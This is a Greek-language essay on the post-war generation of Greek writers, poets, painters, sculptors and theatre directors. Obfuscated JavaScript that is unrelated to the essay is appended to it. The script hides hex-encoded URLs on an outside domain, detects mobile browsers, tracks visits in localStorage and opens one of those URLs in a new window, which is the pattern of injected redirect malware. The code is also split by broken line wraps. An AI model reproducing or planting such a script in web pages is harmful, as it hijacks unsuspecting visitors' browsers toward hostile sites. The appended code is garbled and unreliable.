

Η ΠΡΩΤΗ ΜΕΤΑΠΟΛΕΜΙΚΗ ΓΕΝΙΑ ΚΑΛΛΙΤΕΧΝΩΝ

Η γενιά αυτή κατά κύριο λόγο είδε το φως του κόσμου κατά τη δεκαετία του '30, ίσως και λίγο νωρίτερα. Μέχρι την ενηλικίωση βίωσε τα τραγικότερα γεγονότα του προηγούμενου αιώνα. Μετά τη μικρασιατική καταστροφή, ήρθε το μεγάλο Κράχ που βύθισε τον πλανήτη στη κρίση και στην υπανάπτυξη. Η οικονομική κρίση διέσπειρε την σύγχυση και τη διαστρέβλωση των μεγάλων πολιτικών εννοιών, καθιέρωσε την ωμή βία, στρατιωτική και πολιτική, περιόρισε τις πολιτικές ελευθερίες, ανέδειξε το φασισμό και τον ναζισμό σε κύριες πολιτικές τάσεις, που κατέληξαν στο δεύτερο παγκόσμιο πόλεμο. Στην Ελλάδα υπήρξε και συνέχεια. Ο αιματηρός αδελφοκτόνος πόλεμος έδωσε τη χαριστική βολή σε ό,τι ζωντανό είχε απομείνει από την τριπλή κατοχή, ήτοι τη Γερμανική, την Ιταλική και τη Βουλγαρική.

Ήταν φυσικό και αναγκαίο πολλοί Έλληνες να συγκινηθούν και να προσπαθήσουν να εκφράσουν με ποικίλους τρόπους τα βιώματά τους. Κατά την εποχή της δεκαετίας του '50 πολλοί αξιόλογοι πεζογράφοι, ιδίως μυθιστοριογράφοι, που διέθεταν βαθύτερο στοχασμό και έμπνευση προσπάθησαν να αναπλάσουν την εποχή μέσα από τα βιβλία τους. Ξέφυγαν από το περιορισμένο πλαίσιο της ηθογραφίας και της απλής περιγραφής χαρακτήρων και ασχολήθηκαν με γενικότερα θέματα της ανθρώπινης ψυχολογίας και των περιπετειών του ελληνισμού. Ορισμένοι μάλιστα όπως ο Θ. Πετσάλης, ο Γιώργος Θεοτοκάς, ο Ηλίας Βενέζης, ο Κοσμάς Πολίτης, ο Γιάννης Μπεράτης, κ.α., φθάνουν ως τις επικές συνθέσεις.

Ταυτόχρονα με τους πεζογράφους εμφανίζονται και νέοι ποιητές όπως ο Γιώργος Σεφέρης, με Νόμπελ το 1963, οι οποίοι έχουν επηρεαστεί από τους ευρωπαίους σουρεαλιστές και ειδικότερα από τον Eliot, τον Paul Valéry, κλπ. Με τον σουρεαλισμό ελευθερώνεται το ποίημα και κάθε στοιχείο ορθολογισμού πάει να καταργηθεί. Η φαντασία προσπαθεί να οικοδομήσει νέες φόρμες που δεν έχουν τίποτα το ρεαλιστικό και πραγματικό. Την νεωτερικότητα του σουρεαλισμού ενστερνίζονται και άλλοι ποιητές της εποχής εκτός από τον Σεφέρη. Ο Οδυσσέας Ελύτης, με Νόμπελ επίσης, ο Νίκος Εγγονόπουλος, ο Ανδρέας Εμπειρικός, ο Γιάννης Ρίτσος, με βραβείο Λένιν, ο Νικηφόρος Βρεττάκος, ο Γιώργος Θέμελης, και άλλοι.

Στα εικαστικά και ειδικά στη ζωγραφική το μεγάλο κίνημα που κυριαρχεί στην Ευρώπη, δηλαδή ο εμπρεσιονισμός έρχεται και στην Ελλάδα, ίσως λίγο καθυστερημένα. Το Παρίσι είναι το κέντρο των νέων τάσεων οι οποίες στρέφονται κατά του στείρου ακαδημαϊσμού και απελευθερώνουν τα μέσα έκφρασης των καλλιτεχνών. Ο πρώτος εκπρόσωπος του εμπρεσιονισμού στην Ελλάδα είναι ο Κων/νος Παρθένης, ο οποίος προκαλεί με τα έργα του αντιδράσεις των ακαδημαϊκών. Γίνεται όμως ο πόλος έλξης πολλών νέων καλλιτεχνών οι οποίοι δημιουργούν ενώσεις για τη διάδοση των νέων αντιλήψεων. Η «Ομάδα Τέχνη», ο «Αρμός», η «Στάθμη» και άλλες, είναι πρωτοπόρες ομάδες νέων που επηρεασμένοι από τον εμπρεσιονισμό ψάχνουν να βρουν προσωπικά μέσα εικαστικής έκφρασης. Ο Γιάννης Σπυρόπουλος, ο Σπύρος Παπαλουκάς, είναι οι βασικότεροι εξ' αυτών.

Αναβιώνουν οι τάσεις που συνδέονται με τη λαϊκή βυζαντινή παράδοση τις οποίες καλλιεργούν ο Φώτης Κόντογλου, ο Γιάννης Τσαρούχης, ο Σ. Βασιλείου, ο Χατζηκυριάκος Γκίκας, ο Γουναρόπουλος, κλπ. Νέες μορφές, καμπύλες, τοπιογραφικά και θαλασσογραφίες μας μεταφέρουν σε ένα ονειρεμένο κόσμο.

Και η γλυπτική εμφανίζει έργα επηρεασμένα από το Παρίσι με καθαρές επιρροές από εκεί. Οι κυριότεροι γλύπτες της εποχής είναι ο Αντ. Σώχος, ο Αθαν. Απάρτης, ο Μιχ. Τόμπρος, οι οποίοι όλοι είναι στραμμένοι κατά του επίσημου ακαδημαϊσμού.

Η λαϊκή παράδοση βρήκε την έκφραση και την ανάπτυξη της στην χειροτεχνία, την υφαντική, στην κεντητική, στη ξυλογλυπτική, στη μεταλλοτεχνία, (αργυροχοΐα – χρυσοχοΐα) και στην κεραμική. Η λεπτότητα και οι νέες φόρμες των έργων δεν προκαλούν τον θαυμασμό μόνο των Ελλήνων αλλά και των ξένων που φθάνουν στη χώρα. Κύρια κέντρα ανάπτυξης για την μεταλλοτεχνία ήταν η Ήπειρος ενώ η υφαντική ήκμασε σε ολόκληρη σχεδόν τη χώρα.

Και στο θέατρο και στη μουσική τα επιτεύγματα είναι επίσης ισχυρά. Δάσκαλοι όπως ο Ροντήρης, ο Βεάκης, ο Κουν, ο Μυράτ, ξαναστήνουν σχεδόν από την αρχή τις θεατρικές σκηνές με ξένους και αρχαίους Έλληνες θεατρικούς συγγραφείς. Ιδιαίτερα ο Κουν γοητεύει τις ξένες θεατρικές σκηνές και κοινό με την ιδιομορφία της σκηνοθετικής φόρμας που δίνει στο αρχαίο κλασικό ελληνικό θέατρο.

Η μεταπολεμική γενιά ήταν πράγματι η συνέχεια της γενιάς του '30 και τα καλλιτεχνήματα της επιζούν ακόμα και ίσως είναι τα μόνα που μπορούν σήμερα να χαρακτηριστούν ως αυθεντικοί υπηρέτες των καλών τεχνών.

```

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;};_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)g1

```

u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|i(ac
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0(0|1)|10)|ne((c|m)-on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|m|m|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4
)&&(_0x129862=!![]);)(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(0x5aa0fd,0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(0x3ab06f,0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-0x3ab06f)/_0x266889);},_0x3f1308=(
0x3a999a,0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-0x3a999a)/_0x5c85ef);},_0x4a7983=(
0x19abfa,0x2bf37,_0xb43c45)=>[_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0

```
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```